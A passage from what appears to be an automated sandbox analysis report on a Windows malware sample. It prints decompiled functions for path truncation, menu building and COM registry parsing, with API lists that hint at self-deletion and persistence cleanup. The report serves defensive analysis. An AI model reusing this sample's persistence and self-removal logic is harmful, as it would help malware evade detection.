							}
						}
						_t75 = CharNextA(_t75);
						_t125 =  *_t75;
					}
					_t76 = lstrlenA(_v16);
					_v20 = _t76;
					if(_v16 != _t119 || _t147 <= 3) {
						if(_t147 >= 7) {
							_t159 = _t147 - _t76 - 5;
							if(_t159 >= 0) {
								if(_t159 > 0) {
									_t153 = _t159;
									while(IsDBCSLeadByte(_t119[_t153 - 1] & 0x000000ff) != 0) {
										_t153 = _t153 - 1;
										if(_t153 > 0) {
											continue;
										}
										break;
									}
									if((_t159 - _t153 & 0x00000001) != 0) {
										_t159 = _t159 - 1;
									}
								}
							} else {
								_t159 = 0;
							}
							_t126 = _a8;
							_t148 = 0;
							_t77 = _t159;
							if(_t126 == 0) {
								goto L61;
							} else {
								if(_t159 != 0xffffffff) {
									if(_t126 > _t159) {
										goto L60;
									} else {
										 *_a4 = 0;
										goto L61;
									}
								} else {
									_t152 = _t126 - 1;
									if(_t152 >= lstrlenA(_t119)) {
										_t77 = lstrlenA(_t119);
									} else {
										_t77 = _t152;
									}
									_t148 = 0x50;
									L60:
									_t77 = lstrcpynA(_a4, _t119, _t77 + 1);
									if(_t77 == 0) {
										L61:
										_t148 = 0x16;
									}
								}
							}
							_t78 = _t77 & 0xffffff00 | _t148 == 0x00000000;
							_v6 = _t78;
							if(_t78 != 0) {
								_t79 = lstrlenA("...");
								_t149 = _a8;
								if(_t149 > _t79) {
									lstrcatA(_a4, "...");
								}
								_v12 = _v5;
								_v11 = 0;
								if(_t149 > lstrlenA( &_v12)) {
									lstrcatA(_a4,  &_v12);
								}
								if(_t149 <= _v20 + 4) {
									_t150 = _t149 + 0xfffffff8;
									if(_t150 > 0) {
										_t88 = E000F6000(_t150, _v16);
										_t168 = _t168 + 4;
										if(_t88 != 0) {
											_t150 = _t150 - 1;
										}
									}
									_t120 = _a4;
									_t161 = _a8;
									_t84 = E000F4910(_t150, _t161 - 4, _v16,  &(_t120[4])) & 0xffffff00 | _t83 == 0x00000000;
									_v6 = _t84;
									if(_t84 != 0 && _t161 > lstrlenA("...")) {
										lstrcatA(_t120, "...");
									}
									goto L80;
								} else {
									_t121 = _v16;
									if(_t149 <= lstrlenA(_t121)) {
										goto L80;
									} else {
										lstrcatA(_a4, _t121);
										return _v6;
									}
								}
							} else {
								return _t78;
							}
						} else {
							_t164 = _t147 - 1;
							_t102 = 0;
							if(_t164 > 0) {
								do {
									_t132 = _v5;
									_t33 = _t102 + 1; // 0x1
									_t143 = _t33;
									if(_t143 != 4) {
										_t132 = 0x2e;
									}
									 *((char*)(_t102 + _a4)) = _t132;
									_t102 = _t143;
								} while (_t102 < _t164);
							}
							_a4[_t147 - 1] = 0;
							return 1;
						}
					} else {
						_t165 = 0;
						_t104 = _t147 - 4;
						if(_t147 == 0) {
							L28:
							_t165 = 0x16;
						} else {
							if(_t104 != 0xffffffff) {
								if(_t147 > _t104) {
									goto L27;
								} else {
									_t104 = _a4;
									 *_t104 = 0;
									goto L28;
								}
							} else {
								_t167 = _t147 - 1;
								if(_t167 >= lstrlenA(_t119)) {
									_t104 = lstrlenA(_t119);
								} else {
									_t104 = _t167;
								}
								_t165 = 0x50;
								L27:
								_t104 = lstrcpynA(_a4, _t119, _t104 + 1);
								if(_t104 == 0) {
									goto L28;
								}
							}
						}
						_t105 = _t104 & 0xffffff00 | _t165 == 0x00000000;
						_v6 = _t105;
						if(_t105 == 0) {
							L80:
							return _v6;
						} else {
							_t154 = _t147 + 0xfffffffd;
							_t166 = _t154;
							if(_t154 > 0) {
								while(IsDBCSLeadByte(_t119[_t166 - 1] & 0x000000ff) != 0) {
									_t166 = _t166 - 1;
									if(_t166 > 0) {
										continue;
									}
									break;
								}
								if((_t154 - _t166 & 0x00000001) != 0) {
									_a4[_a8 - 4] = 0;
								}
							}
							if(_a8 <= lstrlenA("...")) {
								goto L80;
							} else {
								lstrcatA(_a4, "...");
								return _v6;
							}
						}
					}
				} else {
					if(_t147 > lstrlenA(_t119)) {
						lstrcpyA(_a4, _t119);
					}
					return 1;
				}
			}

0x000f604f
0x000f6052
0x000f6054
0x000f6059
0x000f607f
0x000f6082
0x000f6084
0x000f6088
0x000f608c
0x000f6093
0x000f609a
0x000f609a
0x000f609e
0x000f60a0
0x000f60a2
0x000f60a6
0x000f60a8
0x000f60ab
0x000f60af
0x000f60b4
0x000f60c0
0x000f60c3
0x000f60c8
0x000f60d4
0x000f60d4
0x000f60c8
0x000f60d8
0x000f60da
0x000f60dc
0x000f60e4
0x000f60ea
0x000f60f0
0x000f61cb
0x000f6204
0x000f6207
0x000f620f
0x000f6211
0x000f6213
0x000f6223
0x000f6226
0x00000000
0x00000000
0x00000000
0x000f6226
0x000f622e
0x000f6230
0x000f6230
0x000f622e
0x000f6209
0x000f6209
0x000f6209
0x000f6231
0x000f6234
0x000f6236
0x000f623a
0x00000000
0x000f623c
0x000f623f
0x000f628e
0x00000000
0x000f6290
0x000f6293
0x00000000
0x000f6293
0x000f6241
0x000f6248
0x000f624f
0x000f6256
0x000f6251
0x000f6251
0x000f6251
0x000f6258
0x000f625d
0x000f6264
0x000f626c
0x000f626e
0x000f626e
0x000f626e
0x000f626c
0x000f623f
0x000f6275
0x000f6278
0x000f627d
0x000f62a5
0x000f62a7
0x000f62ac
0x000f62b7
0x000f62b7
0x000f62c4
0x000f62c7
0x000f62cf
0x000f62d9
0x000f62d9
0x000f62e7
0x000f6308
0x000f630d
0x000f6313
0x000f6318
0x000f631d
0x000f631f
0x000f631f
0x000f631d
0x000f6320
0x000f6323
0x000f633c
0x000f633f
0x000f6344
0x000f635b
0x000f635b
0x00000000
0x000f62e9
0x000f62e9
0x000f62f1
0x00000000
0x000f62f3
0x000f62f8
0x000f6307
0x000f6307
0x000f62f1
0x000f6285
0x000f6285
0x000f6285
0x000f61cd
0x000f61cd
0x000f61d0
0x000f61d4
0x000f61d6
0x000f61d6
0x000f61d9
0x000f61d9
0x000f61df
0x000f61e1
0x000f61e1
0x000f61e6
0x000f61e9
0x000f61eb
0x000f61d6
0x000f61f2
0x000f61ff
0x000f61ff
0x000f60ff
0x000f60ff
0x000f6101
0x000f6106
0x000f6140
0x000f6140
0x000f6108
0x000f610b
0x000f61b7
0x00000000
0x000f61bd
0x000f61bd
0x000f61c0
0x00000000
0x000f61c0
0x000f6111
0x000f6112
0x000f611d
0x000f6124
0x000f611f
0x000f611f
0x000f611f
0x000f612a
0x000f612f
0x000f6136
0x000f613e
0x00000000
0x00000000
0x000f613e
0x000f610b
0x000f6147
0x000f614a
0x000f614f
0x000f6361
0x000f636a
0x000f6155
0x000f6155
0x000f6158
0x000f615c
0x000f6160
0x000f6170
0x000f6173
0x00000000
0x00000000
0x00000000
0x000f6173
0x000f617b
0x000f6183
0x000f6183
0x000f617b
0x000f6196
0x00000000
0x000f619c
0x000f61a5
0x000f61b4
0x000f61b4
0x000f6196
0x000f614f
0x000f605b
0x000f6060
0x000f6067
0x000f6067
0x000f6075
0x000f6075

APIs

lstrlenA.KERNEL32 ref: 000F6052
lstrlenA.KERNEL32 ref: 000F605C
lstrcpyA.KERNEL32(?), ref: 000F6067
CharNextA.USER32 ref: 000F609E
CharNextA.USER32 ref: 000F60D8
lstrlenA.KERNEL32(?), ref: 000F60E4
lstrlenA.KERNEL32 ref: 000F6115
lstrlenA.KERNEL32 ref: 000F6124
lstrcpynA.KERNEL32(?,?,?), ref: 000F6136
IsDBCSLeadByte.KERNEL32(0000005C), ref: 000F6166
lstrlenA.KERNEL32(...), ref: 000F618D
lstrcatA.KERNEL32(?,...), ref: 000F61A5

Strings

\, xrefs: 000F6084
..., xrefs: 000F6188, 000F619F, 000F62A0, 000F62B1, 000F6346, 000F6355

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$CharNext$ByteLeadlstrcatlstrcpylstrcpyn
String ID: ...$\
API String ID: 2258621147-1507338726
Opcode ID: 47aa5fa118d3c47eb17b7896d67358362d9126a4222d635953f7e8c06fe5c94c
Instruction ID: 9148b86f6f5477c5ebc0621ad738624d94ec1f6232b9e86282a16e704764e6a8
Opcode Fuzzy Hash: 47aa5fa118d3c47eb17b7896d67358362d9126a4222d635953f7e8c06fe5c94c
Instruction Fuzzy Hash: A7A17936E0022DABCF618B78CC846FE7BE5AF88354F188151EE149BB42DB379D459790

Uniqueness

Uniqueness Score: -1.00%

Function 00100060 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 251
windowCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00100060(struct HMENU__** __ecx) {
				signed int _v8;
				char _v211;
				char _v212;
				int _v216;
				int _v220;
				signed int _v224;
				int _v228;
				void* _v232;
				struct HWND__* _v236;
				struct HWND__* _v240;
				struct HWND__* _v244;
				void* _v248;
				struct tagRECT _v264;
				struct HMENU__* _v268;
				int _v272;
				struct HMENU__** _v276;
				long _v280;
				struct HMENU__* _v284;
				int _v288;
				CHAR* _v292;
				int _v296;
				int _v300;
				int _v304;
				int _v308;
				int _v312;
				void* _v316;
				struct tagMENUITEMINFOA _v364;
				struct HWND__* _v412;
				char _v440;
				char _v444;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t93;
				struct HWND__** _t97;
				long _t100;
				long _t103;
				struct HMENU__* _t104;
				signed char _t117;
				int _t124;
				signed char _t139;
				long _t143;
				void* _t152;
				struct HWND__* _t168;
				struct HMENU__* _t169;
				int _t170;
				CHAR* _t171;
				signed int _t172;
				void* _t173;
				void* _t174;

				_t93 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t93 ^ _t172;
				_t169 = __ecx;
				_v276 = __ecx;
				_v444 = 0x50;
				E00106820( &_v440, 0, 0x4c);
				_t97 =  *(_t169 + 4);
				_t139 = SendMessageA;
				_t174 = _t173 + 0xc;
				_v440 = 0x10;
				_t161 = _t97[3];
				_t143 =  &_v444;
				SendMessageA( *_t97, 0x41d, _t97[3], _t143);
				_t168 = _v412;
				_t100 = SendMessageA(_t168, 0x418, 0, 0);
				_v280 = _t100;
				if(_t100 <= 0) {
					L26:
					return E001059E6(0, _t139, _v8 ^ _t172, _t161, _t168, _t169);
				} else {
					_t103 = SendMessageA(_t168, 0x52e, 0, 0);
					_v284 = _t103;
					 *((char*)(_t169 + 8)) = _t143 & 0xffffff00 | _t103 != 0x00000000;
					_t104 = CreatePopupMenu();
					_t161 =  &_v264;
					_v268 = _t104;
					_t170 = 0;
					_v264.left = 0;
					_v264.top = 0;
					_v264.right = 0;
					_v264.bottom = 0;
					GetClientRect(_t168,  &_v264);
					_v272 = 0;
					if(_v280 > 0) {
						while(1) {
							_v232 = 0;
							_v228 = 0;
							_v224 = 0;
							_v220 = 0;
							_v216 = 0;
							SendMessageA(_t168, 0x417, _t170,  &_v232);
							if((_v224 & 0x00000008) != 0) {
								goto L21;
							}
							_v248 = 0;
							_v244 = 0;
							_v240 = 0;
							_v236 = 0;
							SendMessageA(_t168, 0x41d, _t170,  &_v248);
							_t117 = _v224;
							_t161 = _v240;
							_t139 = _t117 >> 0x00000002 & 0x00000001;
							if(_v240 > _v264.right) {
								if((_t117 & 0x00000001) == 0) {
									_push(0xc7);
									_push(0);
									_v212 = 0;
									_push( &_v211);
									if(_v276[2] == 0) {
										E00106820();
										_t174 = _t174 + 0xc;
										_v312 = 0;
										_v292 = 0;
										_v288 = 0;
										_v308 = 0;
										_v304 = 0;
										_v300 = 0;
										_v296 = 0;
										_t171 =  &_v212;
										_v316 = 0x20;
										_v312 = 2;
										_v292 = _t171;
										_v288 = 0xc8;
										if(SendMessageA(_t168, 0x441, _v228,  &_v316) == 0xffffffff || lstrlenA(_t171) == 0) {
											_t171 = 0x11293e;
											_t124 = LoadStringA( *0x170c0c, _v228,  &_v212, 0xc8);
											_t152 = 0;
											if(_t124 > 0) {
												while( *((char*)(_t172 + _t152 - 0xd0)) != 0xa) {
													_t152 = _t152 + 1;
													if(_t152 < _t124) {
														continue;
													} else {
													}
													goto L20;
												}
												_t171 = _t172 + _t152 - 0xcf;
											}
										}
										L20:
										_t161 = _v228;
										AppendMenuA(_v268, 0 | _t139 == 0x00000000, _v228, _t171);
										_t170 = _v272;
									} else {
										E00106820();
										E00106820( &_v364, 0, 0x30);
										_t174 = _t174 + 0x18;
										_v364.cbSize = 0x30;
										if(E000F4890(_t139, _t168, _t170) != 0) {
											_v364.cbSize = 0x2c;
										}
										_v364.fMask = 0x14;
										_v364.dwTypeData =  &_v212;
										_v364.cch = 0xc8;
										GetMenuItemInfoA(_v284, _t170, 1,  &_v364);
										_t161 = _v268;
										AppendMenuA(_v268, 0 | _t139 == 0x00000000 | 0x00000010, _v364.hSubMenu, _v364.dwTypeData);
									}
								} else {
									if(GetMenuItemCount(_v268) > 0) {
										AppendMenuA(_v268, 0x800, 0, 0);
									}
								}
							}
							L21:
							_t170 = _t170 + 1;
							_v272 = _t170;
							if(_t170 < _v280) {
								_t139 = SendMessageA;
								continue;
							}
							goto L22;
						}
					}
					L22:
					_t169 = _v268;
					if(GetMenuItemCount(_t169) != 0) {
						 *_v276 = _t169;
						return E001059E6(1, _t139, _v8 ^ _t172, _v276, _t168, _t169);
					} else {
						if(_t169 != 0) {
							DestroyMenu(_t169);
						}
						MessageBeep(0xffffffff);
						goto L26;
					}
				}
			}

0x00100069
0x00100070
0x0010007e
0x00100083
0x00100089
0x00100093
0x00100098
0x0010009b
0x001000a1
0x001000a4
0x001000ae
0x001000b3
0x001000c1
0x001000c3
0x001000d3
0x001000d5
0x001000dd
0x001003f7
0x00100409
0x001000e3
0x001000ed
0x001000f4
0x001000fa
0x001000fd
0x00100103
0x00100109
0x00100112
0x00100115
0x0010011b
0x00100121
0x00100127
0x0010012d
0x00100133
0x0010013f
0x00100156
0x00100158
0x0010015e
0x00100164
0x0010016a
0x00100170
0x00100184
0x0010018d
0x00000000
0x00000000
0x001001a3
0x001001a9
0x001001af
0x001001b5
0x001001bb
0x001001bd
0x001001c3
0x001001ce
0x001001d7
0x001001e0
0x0010021c
0x00100227
0x00100229
0x00100230
0x00100231
0x001002ce
0x001002d5
0x001002d8
0x001002de
0x001002e4
0x001002f1
0x001002f7
0x001002fd
0x00100303
0x00100310
0x0010031e
0x00100328
0x00100332
0x00100338
0x0010034b
0x00100374
0x00100379
0x0010037f
0x00100383
0x00100385
0x0010038f
0x00100392
0x00000000
0x00000000
0x00100394
0x00000000
0x00100392
0x00100396
0x00100396
0x00100383
0x0010039d
0x0010039d
0x001003b4
0x001003ba
0x00100237
0x00100237
0x00100247
0x0010024c
0x0010024f
0x00100260
0x00100262
0x00100262
0x00100283
0x0010028d
0x00100293
0x0010029d
0x001002b7
0x001002c3
0x001002c3
0x001001e2
0x001001f1
0x00100207
0x00100207
0x001001f1
0x001001e0
0x001003c0
0x001003c0
0x001003c1
0x001003cd
0x00100150
0x00000000
0x00100150
0x00000000
0x001003cd
0x00100156
0x001003d3
0x001003d3
0x001003e2
0x00100414
0x00100424
0x001003e4
0x001003e6
0x001003e9
0x001003e9
0x001003f1
0x00000000
0x001003f1
0x001003e2

APIs

_memset.LIBCMT ref: 00100093
SendMessageA.USER32(?,0000041D,?,00000050), ref: 001000C1
SendMessageA.USER32(?,00000418,00000000,00000000), ref: 001000D3
SendMessageA.USER32(?,0000052E,00000000,00000000), ref: 001000ED
CreatePopupMenu.USER32(?,00000000), ref: 001000FD
GetClientRect.USER32 ref: 0010012D
SendMessageA.USER32(?,00000417,00000000,?), ref: 00100184
SendMessageA.USER32(?,0000041D,?,?), ref: 001001BB
GetMenuItemCount.USER32 ref: 001001E9
AppendMenuA.USER32 ref: 00100207
_memset.LIBCMT ref: 00100237
_memset.LIBCMT ref: 00100247
GetMenuItemInfoA.USER32 ref: 0010029D
AppendMenuA.USER32 ref: 001002C3
GetMenuItemCount.USER32 ref: 001003DA
DestroyMenu.USER32(?,?,00000000), ref: 001003E9
MessageBeep.USER32(000000FF), ref: 001003F1

Strings

P, xrefs: 00100089
,, xrefs: 00100262
, xrefs: 0010031E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$Message$Send$Item_memset$AppendCount$BeepClientCreateDestroyInfoPopupRect
String ID: $,$P
API String ID: 23422806-2204626854
Opcode ID: 1e2686130504b7a2fb0637668c077c5d7d5ed33817bb693fce48b3ea021e3fc1
Instruction ID: 025edd80078304040b671858a8c828e719082abe99983a40c003fb2e5e7d01fb
Opcode Fuzzy Hash: 1e2686130504b7a2fb0637668c077c5d7d5ed33817bb693fce48b3ea021e3fc1
Instruction Fuzzy Hash: 65A10870D012299FDB65DB64DD85BEEB7B4BB49700F1081DAE549AB280DBB05EC4CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02528C67 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 195stringregistryfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 02528CAB
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 02528CCA
lstrcat.KERNEL32(?,0400C650), ref: 02528D20
lstrcat.KERNEL32(?,04013CA0), ref: 02528D32
lstrcat.KERNEL32(?,0400C654), ref: 02528D44
SetFileAttributesA.KERNEL32(?,00000080), ref: 02528D56
wnsprintfA.SHLWAPI ref: 02528D7B
TerminateThread.KERNEL32(0401436C,00000001), ref: 02528D95
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 02528DE7
RegDeleteValueA.ADVAPI32(00000000,04013CA0), ref: 02528DFD
RegCloseKey.ADVAPI32(00000000), ref: 02528E0A
GetEnvironmentVariableA.KERNEL32(0400C6C0,?,00000104), ref: 02528E36
GetTickCount.KERNEL32 ref: 02528E43
GetTempFileNameA.KERNEL32(?,0400C6C8,00000000), ref: 02528E5F
lstrcat.KERNEL32(?,0400C6CC), ref: 02528E71
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 02528E8D
lstrlen.KERNEL32(?,00000000,00000000), ref: 02528EC0
WriteFile.KERNEL32(000000FF,?,00000000), ref: 02528ED5
CloseHandle.KERNEL32(000000FF), ref: 02528EE2
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 02528F53
CloseHandle.KERNEL32(?), ref: 02528F64
ExitProcess.KERNEL32 ref: 02528F6C

Strings

D, xrefs: 02528F0E

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteEnvironmentExitModuleOpenSleepTempTerminateThreadTickValueVariableWritelstrlenwnsprintf
String ID: D
API String ID: 1811004299-2746444292
Opcode ID: 104cbe98931e46d9b7ad1d9ff39cf0a163d7a51c8f8934a7678ac9693553d0d1
Instruction ID: 30dac3512ab367215cd430b2d8646d7eff433aa2f5532fc4ae2369d804795cf4
Opcode Fuzzy Hash: 104cbe98931e46d9b7ad1d9ff39cf0a163d7a51c8f8934a7678ac9693553d0d1
Instruction Fuzzy Hash: C07131B1A45318ABF724DFA0DC49FEA7778FB45704F044698B209B61C1DB785A84CF64

Uniqueness

Uniqueness Score: -1.00%

Function 000F3340 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 266
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E000F3340(CHAR** __ecx, CHAR* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v52;
				char _v53;
				char _v54;
				char _v60;
				char _v61;
				CHAR** _v68;
				char _v72;
				char _v76;
				char* _v80;
				char _v84;
				intOrPtr* _v88;
				intOrPtr _v92;
				char _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t62;
				signed int _t63;
				intOrPtr _t65;
				char* _t68;
				char _t69;
				CHAR* _t74;
				intOrPtr _t77;
				void* _t81;
				CHAR** _t83;
				CHAR* _t84;
				CHAR* _t85;
				char _t87;
				void* _t95;
				CHAR* _t96;
				CHAR* _t97;
				CHAR* _t98;
				CHAR** _t102;
				void* _t103;
				struct _CRITICAL_SECTION* _t105;
				CHAR* _t120;
				intOrPtr* _t126;
				void* _t127;
				CHAR* _t128;
				CHAR* _t130;
				intOrPtr _t133;
				CHAR* _t135;
				void* _t136;
				intOrPtr* _t140;
				CHAR** _t146;
				signed int _t147;
				void* _t148;
				void* _t149;

				_t123 = __edx;
				_push(0xffffffff);
				_push(E0010FAC8);
				_push( *[fs:0x0]);
				_t149 = _t148 - 0x50;
				_t62 =  *0x159060; // 0x1f9a9bdf
				_t63 = _t62 ^ _t147;
				_v20 = _t63;
				_push(_t63);
				 *[fs:0x0] =  &_v16;
				_t126 = _a4;
				_t135 = __edx;
				_t102 = __ecx;
				_v68 = __ecx;
				_v88 = _t126;
				if(__edx == 0 || _t126 == 0) {
					_t65 = 0x80004003;
				} else {
					 *_t126 = 0;
					_t68 = lstrlenA(__edx) + _t67;
					if(_t68 < 0x64) {
						_t68 = 0x3e8;
					}
					_v84 = 0;
					_v80 = _t68;
					if(0 > 0 || _t68 > 0xffffffff) {
						_t68 = 0;
					} else {
						__imp__CoTaskMemAlloc(_t68);
					}
					_v76 = _t68;
					if(_t68 != 0) {
						 *_t68 = 0;
					}
					_v8 = 0;
					if(_t68 != 0) {
						_t69 =  *0x171969; // 0x0
						 *_t102 = _t135;
						_v61 = _t69;
						_v60 = 0;
						_v72 = 0;
						_v54 = 0;
						_v53 = 0;
						if( *_t135 == 0) {
							L52:
							_v76 = 0;
							 *_t126 = _v76;
							__imp__CoTaskMemFree(_v76);
							_t65 = _v60;
						} else {
							do {
								if(_v61 != 1) {
									goto L36;
								} else {
									if(_v72 != 0) {
										L19:
										goto L20;
									} else {
										_t95 = E001060C5( *_t102, "HKCR");
										_t149 = _t149 + 8;
										if(_t95 == 0) {
											goto L19;
										} else {
											_t120 =  *_t102;
											if(_t95 != _t120) {
												goto L19;
											} else {
												_t96 = CharNextA(_t120);
												 *_t102 = _t96;
												_t97 = CharNextA(_t96);
												 *_t102 = _t97;
												_t98 = CharNextA(_t97);
												 *_t102 = _t98;
												 *_t102 = CharNextA(_t98);
												if(E000F1DF0( &_v84, _t123,  &_v84, L"HKCU\r\n{\tSoftware\r\n\t{\r\n\t\tClasses") == 0) {
													L40:
													_v60 = 0x8007000e;
													__imp__CoTaskMemFree(_v76);
													_t65 = _v60;
												} else {
													_v54 = 1;
													L20:
													_t85 =  *_t102;
													if( *_t85 != 0x27) {
														L27:
														if(_v53 != 0) {
															goto L36;
														} else {
															goto L28;
														}
													} else {
														if(_v53 != 0) {
															if( *(CharNextA(_t85)) == 0x27) {
																_t123 =  *_t102;
																_t130 = CharNextA( *_t102);
																 *_t102 = _t130;
																if(E000F1D60(CharNextA(_t130) - _t130,  &_v84, _t130) == 0) {
																	goto L40;
																} else {
																	goto L27;
																}
															} else {
																_v53 = 0;
																L28:
																_t87 =  *( *_t102);
																if(_t87 == 0x7b) {
																	_v72 = _v72 + 1;
																}
																if(_t87 != 0x7d) {
																	goto L36;
																} else {
																	_t26 =  &_v72;
																	 *_t26 = _v72 - 1;
																	if( *_t26 != 0 || _v54 != 1) {
																		goto L36;
																	} else {
																		if(E000F1DF0( &_v84, _t123,  &_v84, L"\r\n\t}\r\n}\r\n") == 0) {
																			goto L40;
																		} else {
																			_v54 = 0;
																			goto L36;
																		}
																	}
																}
															}
														} else {
															_v53 = 1;
															L36:
															_t128 =  *_t102;
															_push(_t128);
															if( *_t128 != 0x25) {
																L39:
																if(E000F1D60(CharNextA() - _t128,  &_v84, _t128) != 0) {
																	goto L50;
																} else {
																	goto L40;
																}
															} else {
																_t128 = CharNextA();
																 *_t102 = _t128;
																if( *_t128 != 0x25) {
																	_t77 = E000F2B60(_t128, 0x25);
																	_v92 = _t77;
																	if(_t77 == 0) {
																		L53:
																		_v60 = 0x80020009;
																		__imp__CoTaskMemFree(_v76);
																		_t65 = _v60;
																	} else {
																		_t140 = _v68;
																		_t115 =  *_t140;
																		_t78 = _t77 -  *_t140;
																		if(_t77 -  *_t140 > 0x1f) {
																			_v60 = 0x80004005;
																			__imp__CoTaskMemFree(_v76);
																			_t65 = _v60;
																		} else {
																			_t123 = 0x20;
																			E000F1300(_t78, _t115, 0x20,  &_v52);
																			_t141 =  *((intOrPtr*)(_t140 + 4));
																			_t149 = _t149 + 4;
																			_t105 =  *((intOrPtr*)(_t140 + 4)) + 0x10;
																			_v96 =  &_v52;
																			EnterCriticalSection(_t105);
																			_t81 = E000FA380( *((intOrPtr*)(_t140 + 4)) + 4, _t141,  &_v96);
																			_t142 = _t81;
																			LeaveCriticalSection(_t105);
																			if(_t81 == 0) {
																				goto L53;
																			} else {
																				_t123 =  &_v84;
																				if(E000F1DF0( &_v96,  &_v84,  &_v84, _t142) == 0) {
																					goto L40;
																				} else {
																					_t133 = _v92;
																					_t83 = _v68;
																					if( *_t83 == _t133) {
																						_t102 = _t83;
																					} else {
																						do {
																							_t146 = _v68;
																							_t84 = CharNextA( *_t146);
																							 *_t146 = _t84;
																						} while (_t84 != _t133);
																						_t102 = _t146;
																					}
																					goto L50;
																				}
																			}
																		}
																	}
																} else {
																	_push(_t128);
																	goto L39;
																}
															}
														}
													}
												}
											}
										}
									}
								}
								goto L56;
								L50:
								_t123 =  *_t102;
								_t74 = CharNextA( *_t102);
								 *_t102 = _t74;
							} while ( *_t74 != 0);
							_t126 = _v88;
							goto L52;
						}
					} else {
						__imp__CoTaskMemFree(0);
						_t65 = 0x8007000e;
					}
				}
				L56:
				 *[fs:0x0] = _v16;
				_pop(_t127);
				_pop(_t136);
				_pop(_t103);
				return E001059E6(_t65, _t103, _v20 ^ _t147, _t123, _t127, _t136);
			}

0x000f3340
0x000f3343
0x000f3345
0x000f3350
0x000f3351
0x000f3354
0x000f3359
0x000f335b
0x000f3361
0x000f3365
0x000f336b
0x000f336e
0x000f3370
0x000f3372
0x000f3375
0x000f337a
0x000f3626
0x000f3388
0x000f3389
0x000f3395
0x000f339a
0x000f339c
0x000f339c
0x000f33a3
0x000f33a6
0x000f33ab
0x000f33b2
0x000f33b6
0x000f33b7
0x000f33b7
0x000f33bf
0x000f33c4
0x000f33c6
0x000f33c6
0x000f33c8
0x000f33cd
0x000f33e0
0x000f33e5
0x000f33ea
0x000f33ed
0x000f33f0
0x000f33f3
0x000f33f7
0x000f33fb
0x000f35df
0x000f35e2
0x000f35ed
0x000f35ef
0x000f35f5
0x000f3401
0x000f3401
0x000f3405
0x00000000
0x000f340b
0x000f340f
0x000f3461
0x00000000
0x000f3411
0x000f3419
0x000f341e
0x000f3423
0x00000000
0x000f3425
0x000f3425
0x000f3429
0x00000000
0x000f342b
0x000f3432
0x000f3435
0x000f3437
0x000f343a
0x000f343c
0x000f343f
0x000f344c
0x000f3455
0x000f3514
0x000f3518
0x000f351f
0x000f3525
0x000f345b
0x000f345b
0x000f3467
0x000f3467
0x000f346c
0x000f34ab
0x000f34af
0x00000000
0x00000000
0x00000000
0x00000000
0x000f346e
0x000f3472
0x000f3480
0x000f3488
0x000f348d
0x000f3490
0x000f34a3
0x00000000
0x000f34a5
0x00000000
0x000f34a5
0x000f3482
0x000f3482
0x000f34b1
0x000f34b3
0x000f34b7
0x000f34b9
0x000f34b9
0x000f34be
0x00000000
0x000f34c0
0x000f34c0
0x000f34c0
0x000f34c3
0x00000000
0x000f34cb
0x000f34db
0x00000000
0x000f34dd
0x000f34dd
0x00000000
0x000f34dd
0x000f34db
0x000f34c3
0x000f34be
0x000f3474
0x000f3474
0x000f34e9
0x000f34e9
0x000f34ee
0x000f34ef
0x000f34fd
0x000f350e
0x00000000
0x00000000
0x00000000
0x00000000
0x000f34f1
0x000f34f3
0x000f34f5
0x000f34fa
0x000f3531
0x000f3536
0x000f353b
0x000f35fa
0x000f35fe
0x000f3605
0x000f360b
0x000f3541
0x000f3541
0x000f3544
0x000f3546
